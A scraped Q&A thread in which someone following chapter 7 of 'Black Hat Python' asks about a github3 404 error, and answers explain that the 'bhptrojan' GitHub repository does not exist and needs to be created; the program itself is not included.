I've been following a book called Black Hat Python 2nd edition and, when it comes to the task in chapter 7, I'm getting errors like the titular "github3.exceptions.NotFoundError:404" i have no idea on how to fix it and looking at other questions has, unfortunately, not helped me. I'm going to put here the program in its entirety and all of the errors that i get when i run it. I hope that some of you can help me.

full program:

CodePudding user response：

You're getting this error because the repo you are trying to connect to, doesn't exist in GitHub.

You can verify this from your browser. Go to https://github.com/Anderaxarex/bhptrojan in your browser. It doesn't exist.

CodePudding user response：

I don't know the book specifically, but have browsed through chapter 7 from the 1st edition. If I am correct then Anderaxarex is your username. In that case, you will need to create the repository bhptrojan on your github account.
